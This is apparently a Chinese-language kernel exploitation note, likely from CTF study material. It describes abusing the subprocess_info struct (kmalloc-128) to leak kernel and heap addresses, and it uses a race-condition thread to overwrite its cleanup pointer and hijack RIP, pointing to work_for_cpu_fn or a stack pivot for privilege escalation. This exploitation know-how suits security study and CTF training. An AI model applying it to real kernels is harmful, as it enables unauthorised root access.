struct subprocess_info
size: 0x60 (kmalloc-128)
kernel_base
=subprocess_info.work.func-call_usermodehelper_exec_work
=((uint64_t *)subprocess_info)[0x3]-call_usermodehelper_exec_work
heap //size=0x10 (kmalloc-16)
=subprocess_info.work.list_head.next=subprocess_info.work.list_head.prev
=((uint64_t *)subprocess_info)[0x1]=((uint64_t *)subprocess_info)[0x2]
stack=NULL
Struct Define:
struct subprocess_info
{
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
int wait;
int retval;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
//https://elixir.bootlin.com/linux/v5.11/source/include/linux/umh.h#L19
struct work_struct {
atomic_long_t data;
struct list_head entry;
work_func_t func;
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
//https://elixir.bootlin.com/linux/v5.11/source/include/linux/workqueue.h#L102
struct list_head {
struct list_head *next, *prev;
};
//https://elixir.bootlin.com/linux/v5.11/source/include/linux/types.h#L178
使用方法:
socket(22,AF_INET,0);
地址描述符22不存在但是会触发如下函数
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
//https://elixir.bootlin.com/linux/v5.11/source/kernel/umh.c#L472
call_usermodehelper_setup函数会创建一个subprocess_info结构体并初始化
struct subprocess_info *call_usermodehelper_setup(const char *path, char **argv,
char **envp, gfp_t gfp_mask,
int (*init)(struct subprocess_info *info, struct cred *new),
void (*cleanup)(struct subprocess_info *info),
void *data)
{
struct subprocess_info *sub_info;
sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
if (!sub_info)
goto out;
INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);
#ifdef CONFIG_STATIC_USERMODEHELPER
sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
sub_info->path = path;
#endif
sub_info->argv = argv;
sub_info->envp = envp;
sub_info->cleanup = cleanup;
sub_info->init = init;
sub_info->data = data;
out:
return sub_info;
}
初始化完毕后,紧接着会调用call_usermodehelper_exec函数
int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
{
DECLARE_COMPLETION_ONSTACK(done);
int retval = 0;
if (!sub_info->path) {
call_usermodehelper_freeinfo(sub_info);
return -EINVAL;
}
...
}
而当sub_info->path存在的情况下则会调用call_usermodehelper_freeinfo函数
static void call_usermodehelper_freeinfo(struct subprocess_info *info)
{
if (info->cleanup)
(*info->cleanup)(info);
kfree(info);
}
而实际上大部分情况下path默认是存在值的,因此只需要更改clean字段绕过检测即可劫持RIP
然而在正常情况下,call_usermodehelper_setup函数在初始化完成后紧接着就会调用call_usermodehelper_exec函数
所以我们需要通过条件竞争去劫持subprocess_info->clean字段来劫持RIP
void *thread(void *thread_arg)
{
uint64_t *info_buf=malloc(0x60);
while (1)
{
read(dev_fd,info_buf,0x60);
if (info_buf[0]==0x80)
{
info_buf[0xA]=(uint64_t)EVAL_RIP;
write(dev_fd,buf,0x60);
break;
}
}
}
//In main
pthread_t thread_pid;
pthread_create(&thread_pid,NULL,thread,NULL);
socket(22,AF_INET,0);
...
pthread_join(thread_pid,NULL);
成功劫持RIP之后,调用时的rdi恰好为我们劫持的subprocess_info结构体
因此非常适合使用work_for_cpu_fn函数进行进一步劫持以及提权操作
当然也可以选择使用栈迁移来进行进一步的劫持操作
REGISTERS:
RAX=EVAL_RIP
RDI=subprocess_info_addr
R12=subprocess_info_addr
BACKTRACE:
0x0000000000000000 : mov qword ptr [rsp], rax ;
0x0000000000000000 : ret ;